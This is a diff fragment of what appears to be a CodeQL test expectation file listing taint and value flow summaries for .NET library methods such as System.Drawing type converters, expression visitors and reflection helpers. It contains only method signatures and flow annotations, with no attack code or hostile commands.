System.Drawing;ImageConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;value;df-generated | +| System.Drawing;ImageConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;value;dfc-generated | | System.Drawing;ImageConverter;GetProperties;(System.ComponentModel.ITypeDescriptorContext,System.Object,System.Attribute[]);Argument[1];ReturnValue;taint;df-generated | | System.Drawing;ImageFormatConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue.Element;taint;dfc-generated | | System.Drawing;ImageFormatConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue;taint;dfc-generated | | System.Drawing;ImageFormatConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue;value;dfc-generated | +| System.Drawing;ImageFormatConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2].Element;ReturnValue;taint;df-generated | | System.Drawing;ImageFormatConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2].Element;ReturnValue;taint;dfc-generated | +| System.Drawing;ImageFormatConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;taint;df-generated | | System.Drawing;ImageFormatConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;taint;dfc-generated | +| System.Drawing;ImageFormatConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;value;df-generated | +| System.Drawing;ImageFormatConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;value;dfc-generated | | System.Drawing;ImageFormatConverter;GetStandardValues;(System.ComponentModel.ITypeDescriptorContext);Argument[this];ReturnValue;taint;df-generated | | System.Drawing;Pen;Clone;();Argument[this];ReturnValue;value;dfc-generated | | System.Drawing;PointConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue.Element;taint;dfc-generated | | System.Drawing;PointConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue;taint;dfc-generated | | System.Drawing;PointConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue;value;dfc-generated | +| System.Drawing;PointConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[1].Property[System.Globalization.CultureInfo.TextInfo].Property[System.Globalization.TextInfo.ListSeparator];ReturnValue;taint;df-generated | | System.Drawing;PointConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[1].Property[System.Globalization.CultureInfo.TextInfo].Property[System.Globalization.TextInfo.ListSeparator];ReturnValue;taint;dfc-generated | +| System.Drawing;PointConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2].Element;ReturnValue;taint;df-generated | | System.Drawing;PointConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2].Element;ReturnValue;taint;dfc-generated | +| System.Drawing;PointConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;taint;df-generated | | System.Drawing;PointConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;taint;dfc-generated | +| System.Drawing;PointConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;value;df-generated | +| System.Drawing;PointConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;value;dfc-generated | | System.Drawing;PointConverter;GetProperties;(System.ComponentModel.ITypeDescriptorContext,System.Object,System.Attribute[]);Argument[1];ReturnValue;taint;df-generated | | System.Drawing;Rectangle;Inflate;(System.Drawing.Rectangle,System.Int32,System.Int32);Argument[0];ReturnValue;value;dfc-generated | | System.Drawing;RectangleConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue.Element;taint;dfc-generated | | System.Drawing;RectangleConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue;taint;dfc-generated | | System.Drawing;RectangleConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue;value;dfc-generated | +| System.Drawing;RectangleConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[1].Property[System.Globalization.CultureInfo.TextInfo].Property[System.Globalization.TextInfo.ListSeparator];ReturnValue;taint;df-generated | | System.Drawing;RectangleConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[1].Property[System.Globalization.CultureInfo.TextInfo].Property[System.Globalization.TextInfo.ListSeparator];ReturnValue;taint;dfc-generated | +| System.Drawing;RectangleConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2].Element;ReturnValue;taint;df-generated | | System.Drawing;RectangleConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2].Element;ReturnValue;taint;dfc-generated | +| System.Drawing;RectangleConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;taint;df-generated | | System.Drawing;RectangleConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;taint;dfc-generated | +| System.Drawing;RectangleConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;value;df-generated | +| System.Drawing;RectangleConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;value;dfc-generated | | System.Drawing;RectangleConverter;GetProperties;(System.ComponentModel.ITypeDescriptorContext,System.Object,System.Attribute[]);Argument[1];ReturnValue;taint;df-generated | | System.Drawing;RectangleF;Inflate;(System.Drawing.RectangleF,System.Single,System.Single);Argument[0];ReturnValue;value;dfc-generated | | System.Drawing;SizeConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue.Element;taint;dfc-generated | | System.Drawing;SizeConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue;taint;dfc-generated | | System.Drawing;SizeConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue;value;dfc-generated | +| System.Drawing;SizeConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[1].Property[System.Globalization.CultureInfo.TextInfo].Property[System.Globalization.TextInfo.ListSeparator];ReturnValue;taint;df-generated | | System.Drawing;SizeConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[1].Property[System.Globalization.CultureInfo.TextInfo].Property[System.Globalization.TextInfo.ListSeparator];ReturnValue;taint;dfc-generated | +| System.Drawing;SizeConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2].Element;ReturnValue;taint;df-generated | | System.Drawing;SizeConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2].Element;ReturnValue;taint;dfc-generated | +| System.Drawing;SizeConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;taint;df-generated | | System.Drawing;SizeConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;taint;dfc-generated | +| System.Drawing;SizeConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;value;df-generated | +| System.Drawing;SizeConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;value;dfc-generated | | System.Drawing;SizeConverter;GetProperties;(System.ComponentModel.ITypeDescriptorContext,System.Object,System.Attribute[]);Argument[1];ReturnValue;taint;df-generated | | System.Drawing;SizeFConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue.Element;taint;dfc-generated | | System.Drawing;SizeFConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue;taint;dfc-generated | | System.Drawing;SizeFConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue;value;dfc-generated | +| System.Drawing;SizeFConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[1].Property[System.Globalization.CultureInfo.TextInfo].Property[System.Globalization.TextInfo.ListSeparator];ReturnValue;taint;df-generated | | System.Drawing;SizeFConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[1].Property[System.Globalization.CultureInfo.TextInfo].Property[System.Globalization.TextInfo.ListSeparator];ReturnValue;taint;dfc-generated | +| System.Drawing;SizeFConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2].Element;ReturnValue;taint;df-generated | | System.Drawing;SizeFConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2].Element;ReturnValue;taint;dfc-generated | +| System.Drawing;SizeFConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;taint;df-generated | | System.Drawing;SizeFConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;taint;dfc-generated | +| System.Drawing;SizeFConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;value;df-generated | +| System.Drawing;SizeFConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;value;dfc-generated | | System.Drawing;SizeFConverter;GetProperties;(System.ComponentModel.ITypeDescriptorContext,System.Object,System.Attribute[]);Argument[1];ReturnValue;taint;df-generated | | System.Drawing;SolidBrush;Clone;();Argument[this];ReturnValue;value;dfc-generated | | System.Drawing;StringFormat;Clone;();Argument[this];ReturnValue;value;dfc-generated | @@ -11659,7 +11878,7 @@ summary | System.Globalization;CultureInfo;GetCultureInfo;(System.String,System.String);Argument[1];ReturnValue;taint;df-generated | | System.Globalization;CultureInfo;GetCultureInfoByIetfLanguageTag;(System.String);Argument[0];ReturnValue;taint;df-generated | | System.Globalization;CultureInfo;GetFormat;(System.Type);Argument[this];ReturnValue;value;dfc-generated | -| System.Globalization;CultureInfo;ReadOnly;(System.Globalization.CultureInfo);Argument[0];ReturnValue;taint;df-generated | +| System.Globalization;CultureInfo;ReadOnly;(System.Globalization.CultureInfo);Argument[0];ReturnValue;value;df-generated | | System.Globalization;CultureInfo;ToString;();Argument[this];ReturnValue;taint;df-generated | | System.Globalization;CultureInfo;get_Calendar;();Argument[this];ReturnValue;taint;df-generated | | System.Globalization;CultureInfo;get_DisplayName;();Argument[this];ReturnValue;taint;df-generated | @@ -12920,12 +13139,12 @@ summary | System.Linq.Expressions;Expression;Unbox;(System.Linq.Expressions.Expression,System.Type);Argument[0];ReturnValue.Property[System.Linq.Expressions.UnaryExpression.Operand];value;dfc-generated | | System.Linq.Expressions;Expression;Variable;(System.Type,System.String);Argument[1];ReturnValue.Property[System.Linq.Expressions.ParameterExpression.Name];value;dfc-generated | | System.Linq.Expressions;Expression;VisitChildren;(System.Linq.Expressions.ExpressionVisitor);Argument[this];Argument[0];taint;df-generated | -| System.Linq.Expressions;Expression;VisitChildren;(System.Linq.Expressions.ExpressionVisitor);Argument[this];ReturnValue;taint;df-generated | +| System.Linq.Expressions;Expression;VisitChildren;(System.Linq.Expressions.ExpressionVisitor);Argument[this];ReturnValue;value;df-generated | | System.Linq.Expressions;Expression;Accept;(System.Linq.Expressions.ExpressionVisitor);Argument[this];ReturnValue;value;dfc-generated | | System.Linq.Expressions;Expression;Update;(System.Linq.Expressions.Expression,System.Collections.Generic.IEnumerable);Argument[1].Element;ReturnValue;taint;df-generated | | System.Linq.Expressions;Expression;Update;(System.Linq.Expressions.Expression,System.Collections.Generic.IEnumerable);Argument[this];ReturnValue;taint;df-generated | | System.Linq.Expressions;ExpressionVisitor;Visit;(System.Collections.ObjectModel.ReadOnlyCollection);Argument[0].Element;Argument[this];taint;df-generated | -| System.Linq.Expressions;ExpressionVisitor;Visit;(System.Collections.ObjectModel.ReadOnlyCollection);Argument[0].Element;ReturnValue;taint;df-generated | +| System.Linq.Expressions;ExpressionVisitor;Visit;(System.Collections.ObjectModel.ReadOnlyCollection);Argument[0];ReturnValue;value;df-generated | | System.Linq.Expressions;ExpressionVisitor;Visit;(System.Linq.Expressions.Expression);Argument[0];ReturnValue;value;dfc-generated | | System.Linq.Expressions;ExpressionVisitor;Visit;(System.Collections.ObjectModel.ReadOnlyCollection,System.Func);Argument[0].Element;Argument[1].Parameter[0];value;dfc-generated | | System.Linq.Expressions;ExpressionVisitor;Visit;(System.Collections.ObjectModel.ReadOnlyCollection,System.Func);Argument[0].Element;Argument[1].Parameter[0];value;hq-generated | @@ -12934,15 +13153,15 @@ summary | System.Linq.Expressions;ExpressionVisitor;Visit;(System.Collections.ObjectModel.ReadOnlyCollection,System.Func);Argument[1];Argument[1].Parameter[delegate-self];value;dfc-generated | | System.Linq.Expressions;ExpressionVisitor;Visit;(System.Collections.ObjectModel.ReadOnlyCollection,System.Func);Argument[1];Argument[1].Parameter[delegate-self];value;hq-generated | | System.Linq.Expressions;ExpressionVisitor;VisitAndConvert;(System.Collections.ObjectModel.ReadOnlyCollection,System.String);Argument[0].Element;Argument[this];taint;df-generated | -| System.Linq.Expressions;ExpressionVisitor;VisitAndConvert;(System.Collections.ObjectModel.ReadOnlyCollection,System.String);Argument[0].Element;ReturnValue;taint;df-generated | +| System.Linq.Expressions;ExpressionVisitor;VisitAndConvert;(System.Collections.ObjectModel.ReadOnlyCollection,System.String);Argument[0];ReturnValue;value;df-generated | | System.Linq.Expressions;ExpressionVisitor;VisitAndConvert;(T,System.String);Argument[0];Argument[this];taint;df-generated | -| System.Linq.Expressions;ExpressionVisitor;VisitAndConvert;(T,System.String);Argument[0];ReturnValue;taint;df-generated | +| System.Linq.Expressions;ExpressionVisitor;VisitAndConvert;(T,System.String);Argument[0];ReturnValue;value;df-generated | | System.Linq.Expressions;ExpressionVisitor;VisitBinary;(System.Linq.Expressions.BinaryExpression);Argument[0];Argument[this];taint;df-generated | -| System.Linq.Expressions;ExpressionVisitor;VisitBinary;(System.Linq.Expressions.BinaryExpression);Argument[0];ReturnValue;taint;df-generated | +| System.Linq.Expressions;ExpressionVisitor;VisitBinary;(System.Linq.Expressions.BinaryExpression);Argument[0];ReturnValue;value;df-generated | | System.Linq.Expressions;ExpressionVisitor;VisitBlock;(System.Linq.Expressions.BlockExpression);Argument[0];ReturnValue;value;dfc-generated | | System.Linq.Expressions;ExpressionVisitor;VisitCatchBlock;(System.Linq.Expressions.CatchBlock);Argument[0];ReturnValue;value;dfc-generated | | System.Linq.Expressions;ExpressionVisitor;VisitConditional;(System.Linq.Expressions.ConditionalExpression);Argument[0];Argument[this];taint;df-generated | -| System.Linq.Expressions;ExpressionVisitor;VisitConditional;(System.Linq.Expressions.ConditionalExpression);Argument[0];ReturnValue;taint;df-generated | +| System.Linq.Expressions;ExpressionVisitor;VisitConditional;(System.Linq.Expressions.ConditionalExpression);Argument[0];ReturnValue;value;df-generated | | System.Linq.Expressions;ExpressionVisitor;VisitConstant;(System.Linq.Expressions.ConstantExpression);Argument[0];ReturnValue;value;dfc-generated | | System.Linq.Expressions;ExpressionVisitor;VisitDebugInfo;(System.Linq.Expressions.DebugInfoExpression);Argument[0];ReturnValue;value;dfc-generated | | System.Linq.Expressions;ExpressionVisitor;VisitDefault;(System.Linq.Expressions.DefaultExpression);Argument[0];ReturnValue;value;dfc-generated | @@ -12950,22 +13169,22 @@ summary | System.Linq.Expressions;ExpressionVisitor;VisitElementInit;(System.Linq.Expressions.ElementInit);Argument[0];ReturnValue;value;dfc-generated | | System.Linq.Expressions;ExpressionVisitor;VisitExtension;(System.Linq.Expressions.Expression);Argument[0];ReturnValue;value;dfc-generated | | System.Linq.Expressions;ExpressionVisitor;VisitGoto;(System.Linq.Expressions.GotoExpression);Argument[0];Argument[this];taint;df-generated | -| System.Linq.Expressions;ExpressionVisitor;VisitGoto;(System.Linq.Expressions.GotoExpression);Argument[0];ReturnValue;taint;df-generated | +| System.Linq.Expressions;ExpressionVisitor;VisitGoto;(System.Linq.Expressions.GotoExpression);Argument[0];ReturnValue;value;df-generated | | System.Linq.Expressions;ExpressionVisitor;VisitIndex;(System.Linq.Expressions.IndexExpression);Argument[0];Argument[this];taint;df-generated | -| System.Linq.Expressions;ExpressionVisitor;VisitIndex;(System.Linq.Expressions.IndexExpression);Argument[0];ReturnValue;taint;df-generated | +| System.Linq.Expressions;ExpressionVisitor;VisitIndex;(System.Linq.Expressions.IndexExpression);Argument[0];ReturnValue;value;df-generated | | System.Linq.Expressions;ExpressionVisitor;VisitInvocation;(System.Linq.Expressions.InvocationExpression);Argument[0];Argument[this];taint;df-generated | -| System.Linq.Expressions;ExpressionVisitor;VisitInvocation;(System.Linq.Expressions.InvocationExpression);Argument[0];ReturnValue;taint;df-generated | +| System.Linq.Expressions;ExpressionVisitor;VisitInvocation;(System.Linq.Expressions.InvocationExpression);Argument[0];ReturnValue;value;df-generated | | System.Linq.Expressions;ExpressionVisitor;VisitLabel;(System.Linq.Expressions.LabelExpression);Argument[0];ReturnValue;value;dfc-generated | | System.Linq.Expressions;ExpressionVisitor;VisitLabelTarget;(System.Linq.Expressions.LabelTarget);Argument[0];ReturnValue;value;dfc-generated | | System.Linq.Expressions;ExpressionVisitor;VisitLambda;(System.Linq.Expressions.Expression);Argument[0];ReturnValue;value;dfc-generated | | System.Linq.Expressions;ExpressionVisitor;VisitListInit;(System.Linq.Expressions.ListInitExpression);Argument[0];ReturnValue;value;dfc-generated | | System.Linq.Expressions;ExpressionVisitor;VisitLoop;(System.Linq.Expressions.LoopExpression);Argument[0];ReturnValue;value;dfc-generated | | System.Linq.Expressions;ExpressionVisitor;VisitMember;(System.Linq.Expressions.MemberExpression);Argument[0];Argument[this];taint;df-generated | -| System.Linq.Expressions;ExpressionVisitor;VisitMember;(System.Linq.Expressions.MemberExpression);Argument[0];ReturnValue;taint;df-generated | +| System.Linq.Expressions;ExpressionVisitor;VisitMember;(System.Linq.Expressions.MemberExpression);Argument[0];ReturnValue;value;df-generated | | System.Linq.Expressions;ExpressionVisitor;VisitMemberAssignment;(System.Linq.Expressions.MemberAssignment);Argument[0];Argument[this];taint;df-generated | -| System.Linq.Expressions;ExpressionVisitor;VisitMemberAssignment;(System.Linq.Expressions.MemberAssignment);Argument[0];ReturnValue;taint;df-generated | +| System.Linq.Expressions;ExpressionVisitor;VisitMemberAssignment;(System.Linq.Expressions.MemberAssignment);Argument[0];ReturnValue;value;df-generated | | System.Linq.Expressions;ExpressionVisitor;VisitMemberBinding;(System.Linq.Expressions.MemberBinding);Argument[0];Argument[this];taint;df-generated | -| System.Linq.Expressions;ExpressionVisitor;VisitMemberBinding;(System.Linq.Expressions.MemberBinding);Argument[0];ReturnValue;taint;df-generated | +| System.Linq.Expressions;ExpressionVisitor;VisitMemberBinding;(System.Linq.Expressions.MemberBinding);Argument[0];ReturnValue;value;df-generated | | System.Linq.Expressions;ExpressionVisitor;VisitMemberInit;(System.Linq.Expressions.MemberInitExpression);Argument[0];ReturnValue;value;dfc-generated | | System.Linq.Expressions;ExpressionVisitor;VisitMemberListBinding;(System.Linq.Expressions.MemberListBinding);Argument[0].Property[System.Linq.Expressions.MemberListBinding.Initializers];ReturnValue.Property[System.Linq.Expressions.MemberListBinding.Initializers];value;dfc-generated | | System.Linq.Expressions;ExpressionVisitor;VisitMemberListBinding;(System.Linq.Expressions.MemberListBinding);Argument[0];ReturnValue;value;dfc-generated | @@ -13447,7 +13666,7 @@ summary | System.Linq;Enumerable;SingleOrDefault;(System.Collections.Generic.IEnumerable,TSource);Argument[0].Element;ReturnValue;value;dfc-generated | | System.Linq;Enumerable;SingleOrDefault;(System.Collections.Generic.IEnumerable,TSource);Argument[1];ReturnValue;value;dfc-generated | | System.Linq;Enumerable;Skip;(System.Collections.Generic.IEnumerable,System.Int32);Argument[0].Element;ReturnValue.Element;value;manual | -| System.Linq;Enumerable;SkipLast;(System.Collections.Generic.IEnumerable,System.Int32);Argument[0].Element;ReturnValue;taint;df-generated | +| System.Linq;Enumerable;SkipLast;(System.Collections.Generic.IEnumerable,System.Int32);Argument[0];ReturnValue;value;df-generated | | System.Linq;Enumerable;SkipWhile;(System.Collections.Generic.IEnumerable,System.Func);Argument[0].Element;Argument[1].Parameter[0];value;manual | | System.Linq;Enumerable;SkipWhile;(System.Collections.Generic.IEnumerable,System.Func);Argument[0].Element;ReturnValue.Element;value;manual | | System.Linq;Enumerable;SkipWhile;(System.Collections.Generic.IEnumerable,System.Func);Argument[1];Argument[1].Parameter[delegate-self];value;manual | @@ -15283,6 +15502,7 @@ summary | System.Net;HttpListenerRequest;get_ProtocolVersion;();Argument[this];ReturnValue;taint;df-generated | | System.Net;HttpListenerRequest;get_RawUrl;();Argument[this];ReturnValue;taint;df-generated | | System.Net;HttpListenerRequest;get_Url;();Argument[this];ReturnValue;taint;df-generated | +| System.Net;HttpListenerRequest;get_UrlReferrer;();Argument[this];ReturnValue;taint;df-generated | | System.Net;HttpListenerRequest;get_UserAgent;();Argument[this];ReturnValue;taint;df-generated | | System.Net;HttpListenerRequest;get_UserHostName;();Argument[this];ReturnValue;taint;df-generated | | System.Net;HttpListenerResponse;AppendCookie;(System.Net.Cookie);Argument[0];Argument[this].Property[System.Net.HttpListenerResponse.Cookies].Element;value;dfc-generated | @@ -16480,7 +16700,7 @@ summary | System.Reflection;MethodInfo;get_ReturnParameter;();Argument[this];ReturnValue;taint;df-generated | | System.Reflection;MethodInfo;get_ReturnType;();Argument[this];ReturnValue;taint;df-generated | | System.Reflection;MethodInfo;get_ReturnTypeCustomAttributes;();Argument[this];ReturnValue;taint;df-generated | -| System.Reflection;MethodInfoExtensions;GetBaseDefinition;(System.Reflection.MethodInfo);Argument[0];ReturnValue;taint;df-generated | +| System.Reflection;MethodInfoExtensions;GetBaseDefinition;(System.Reflection.MethodInfo);Argument[0];ReturnValue;value;df-generated | | System.Reflection;MethodInvoker;Invoke;(System.Object);Argument[0];Argument[this];taint;df-generated | | System.Reflection;MethodInvoker;Invoke;(System.Object);Argument[this];ReturnValue;taint;df-generated | | System.Reflection;MethodInvoker;Invoke;(System.Object,System.Object);Argument[0];Argument[this];taint;df-generated | @@ -16571,7 +16791,7 @@ summary | System.Reflection;ReflectionTypeLoadException;get_Message;();Argument[this].Property[System.Exception.Message];ReturnValue;value;dfc-generated | | System.Reflection;ReflectionTypeLoadException;get_Message;();Argument[this].SyntheticField[System.Exception._message];ReturnValue;value;dfc-generated | | System.Reflection;RuntimeReflectionExtensions;GetMethodInfo;(System.Delegate);Argument[0].Property[System.Delegate.Method];ReturnValue;value;dfc-generated | -| System.Reflection;RuntimeReflectionExtensions;GetRuntimeBaseDefinition;(System.Reflection.MethodInfo);Argument[0];ReturnValue;taint;df-generated | +| System.Reflection;RuntimeReflectionExtensions;GetRuntimeBaseDefinition;(System.Reflection.MethodInfo);Argument[0];ReturnValue;value;df-generated | | System.Reflection;RuntimeReflectionExtensions;GetRuntimeInterfaceMap;(System.Reflection.TypeInfo,System.Type);Argument[0];ReturnValue;taint;df-generated | | System.Reflection;StrongNameKeyPair;GetObjectData;(System.Runtime.Serialization.SerializationInfo,System.Runtime.Serialization.StreamingContext);Argument[this];Argument[0];taint;df-generated | | System.Reflection;TypeDelegator;GetConstructorImpl;(System.Reflection.BindingFlags,System.Reflection.Binder,System.Reflection.CallingConventions,System.Type[],System.Reflection.ParameterModifier[]);Argument[this];ReturnValue;taint;df-generated | @@ -17123,8 +17343,12 @@ summary | System.Security.Authentication.ExtendedProtection;ExtendedProtectionPolicy;ToString;();Argument[this].SyntheticField[System.Security.Authentication.ExtendedProtection.ExtendedProtectionPolicy._customServiceNames].Element;ReturnValue;taint;dfc-generated | | System.Security.Authentication.ExtendedProtection;ExtendedProtectionPolicy;get_CustomChannelBinding;();Argument[this].SyntheticField[System.Security.Authentication.ExtendedProtection.ExtendedProtectionPolicy._customChannelBinding];ReturnValue;value;dfc-generated | | System.Security.Authentication.ExtendedProtection;ExtendedProtectionPolicy;get_CustomServiceNames;();Argument[this].SyntheticField[System.Security.Authentication.ExtendedProtection.ExtendedProtectionPolicy._customServiceNames];ReturnValue;value;dfc-generated | +| System.Security.Authentication.ExtendedProtection;ExtendedProtectionPolicyTypeConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2].Element;ReturnValue;taint;df-generated | | System.Security.Authentication.ExtendedProtection;ExtendedProtectionPolicyTypeConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2].Element;ReturnValue;taint;dfc-generated | +| System.Security.Authentication.ExtendedProtection;ExtendedProtectionPolicyTypeConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;taint;df-generated | | System.Security.Authentication.ExtendedProtection;ExtendedProtectionPolicyTypeConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;taint;dfc-generated | +| System.Security.Authentication.ExtendedProtection;ExtendedProtectionPolicyTypeConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;value;df-generated | +| System.Security.Authentication.ExtendedProtection;ExtendedProtectionPolicyTypeConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;value;dfc-generated | | System.Security.Authentication.ExtendedProtection;ServiceNameCollection;Merge;(System.Collections.IEnumerable);Argument[0].Element;ReturnValue.Property[System.Collections.ReadOnlyCollectionBase.InnerList].Element;value;dfc-generated | | System.Security.Authentication.ExtendedProtection;ServiceNameCollection;Merge;(System.Collections.IEnumerable);Argument[0].Property[System.Collections.ReadOnlyCollectionBase.InnerList].Element;ReturnValue.Property[System.Collections.ReadOnlyCollectionBase.InnerList].Element;value;dfc-generated | | System.Security.Authentication.ExtendedProtection;ServiceNameCollection;Merge;(System.String);Argument[0];ReturnValue.Property[System.Collections.ReadOnlyCollectionBase.InnerList].Element;value;dfc-generated | @@ -18109,7 +18333,7 @@ summary | System.Text.RegularExpressions;GroupCollection;get_Values;();Argument[this];ReturnValue;taint;df-generated | | System.Text.RegularExpressions;GroupCollection;set_Item;(System.Int32,System.Object);Argument[1];Argument[this].Element;value;manual | | System.Text.RegularExpressions;GroupCollection;set_Item;(System.Int32,System.Text.RegularExpressions.Group);Argument[1];Argument[this].Element;value;manual | -| System.Text.RegularExpressions;Match;NextMatch;();Argument[this];ReturnValue;taint;df-generated | +| System.Text.RegularExpressions;Match;NextMatch;();Argument[this];ReturnValue;value;df-generated | | System.Text.RegularExpressions;Match;Synchronized;(System.Text.RegularExpressions.Match);Argument[0];ReturnValue;value;dfc-generated | | System.Text.RegularExpressions;MatchCollection;Add;(System.Object);Argument[0];Argument[this].Element;value;manual | | System.Text.RegularExpressions;MatchCollection;Add;(System.Text.RegularExpressions.Match);Argument[0];Argument[this].Element;value;manual | @@ -18833,13 +19057,13 @@ summary | System.Threading.Tasks;Task;Task;(System.Action,System.Object,System.Threading.Tasks.TaskCreationOptions);Argument[0];Argument[0].Parameter[delegate-self];value;manual | | 